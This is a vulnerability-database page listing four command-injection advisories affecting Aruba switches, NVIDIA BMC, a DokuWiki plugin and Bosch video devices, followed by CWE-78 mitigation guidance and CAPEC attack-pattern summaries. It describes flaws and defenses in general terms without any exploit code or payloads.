Vulnerability from github – Published: 2022-09-07 00:01 – Updated: 2022-09-13 00:00Authenticated command injection vulnerabilities exist in the AOS-CX Network Analytics Engine via NAE scripts. Successful exploitation of these vulnerabilities result in the ability to execute arbitrary commands as a privileged user on the underlying operating system, leading to a complete compromise of the switch running AOS-CX in ArubaOS-CX Switches version(s): AOS-CX 10.10.xxxx: 10.10.0002 and below, AOS-CX 10.09.xxxx: 10.09.1030 and below, AOS-CX 10.08.xxxx: 10.08.1070 and below, AOS-CX 10.06.xxxx: 10.06.0210 and below. Aruba has released upgrades for ArubaOS-CX Switch Devices that address these security vulnerabilities.
{
"affected": [],
"aliases": [
"CVE-2022-23683"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-06T18:15:00Z",
"severity": "HIGH"
},
"details": "Authenticated command injection vulnerabilities exist in the AOS-CX Network Analytics Engine via NAE scripts. Successful exploitation of these vulnerabilities result in the ability to execute arbitrary commands as a privileged user on the underlying operating system, leading to a complete compromise of the switch running AOS-CX in ArubaOS-CX Switches version(s): AOS-CX 10.10.xxxx: 10.10.0002 and below, AOS-CX 10.09.xxxx: 10.09.1030 and below, AOS-CX 10.08.xxxx: 10.08.1070 and below, AOS-CX 10.06.xxxx: 10.06.0210 and below. Aruba has released upgrades for ArubaOS-CX Switch Devices that address these security vulnerabilities.",
"id": "GHSA-5xr5-94pw-rv78",
"modified": "2022-09-13T00:00:39Z",
"published": "2022-09-07T00:01:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23683"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-012.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5XR5-HFMF-PR6P
Vulnerability from github – Published: 2023-01-13 06:30 – Updated: 2023-01-20 18:30NVIDIA BMC contains a vulnerability in SPX REST API, where an authorized attacker can inject arbitrary shell commands, which may lead to code execution, denial of service, information disclosure and data tampering.
{
"affected": [],
"aliases": [
"CVE-2022-42289"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-13T04:15:00Z",
"severity": "HIGH"
},
"details": "NVIDIA BMC contains a vulnerability in SPX REST API, where an authorized attacker can inject arbitrary shell commands, which may lead to code execution, denial of service, information disclosure and data tampering.",
"id": "GHSA-5xr5-hfmf-pr6p",
"modified": "2023-01-20T18:30:21Z",
"published": "2023-01-13T06:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42289"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5435"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5XXR-8RPP-GR43
Vulnerability from github – Published: 2026-01-30 21:30 – Updated: 2026-01-30 21:30aelsantex runcommand 2014-04-01, a plugin for DokuWiki, allows unauthenticated attackers to execute arbitrary system commands via lib/plugins/runcommand/postaction.php.
{
"affected": [],
"aliases": [
"CVE-2025-51958"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-30T19:16:10Z",
"severity": "CRITICAL"
},
"details": "aelsantex runcommand 2014-04-01, a plugin for DokuWiki, allows unauthenticated attackers to execute arbitrary system commands via lib/plugins/runcommand/postaction.php.",
"id": "GHSA-5xxr-8rpp-gr43",
"modified": "2026-01-30T21:30:22Z",
"published": "2026-01-30T21:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51958"
},
{
"type": "WEB",
"url": "https://gist.github.com/NtustLin/f64528002e4f61874045799127dc49a4"
},
{
"type": "WEB",
"url": "https://github.com/aelsantex/runcommand"
},
{
"type": "WEB",
"url": "https://www.dokuwiki.org/plugin:runcommand"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6226-9VG7-R4W4
Vulnerability from github – Published: 2021-12-09 00:00 – Updated: 2022-08-31 00:00A crafted configuration packet sent by an authenticated administrative user can be used to execute arbitrary commands in system context. This issue also affects installations of the VRM, DIVAR IP, BVMS with VRM installed, the VIDEOJET decoder (VJD-7513 and VJD-8000).
{
"affected": [],
"aliases": [
"CVE-2021-23862"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-08T22:15:00Z",
"severity": "HIGH"
},
"details": "A crafted configuration packet sent by an authenticated administrative user can be used to execute arbitrary commands in system context. This issue also affects installations of the VRM, DIVAR IP, BVMS with VRM installed, the VIDEOJET decoder (VJD-7513 and VJD-8000).",
"id": "GHSA-6226-9vg7-r4w4",
"modified": "2022-08-31T00:00:20Z",
"published": "2021-12-09T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23862"
},
{
"type": "WEB",
"url": "https://psirt.bosch.com/security-advisories/bosch-sa-043434-bt.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.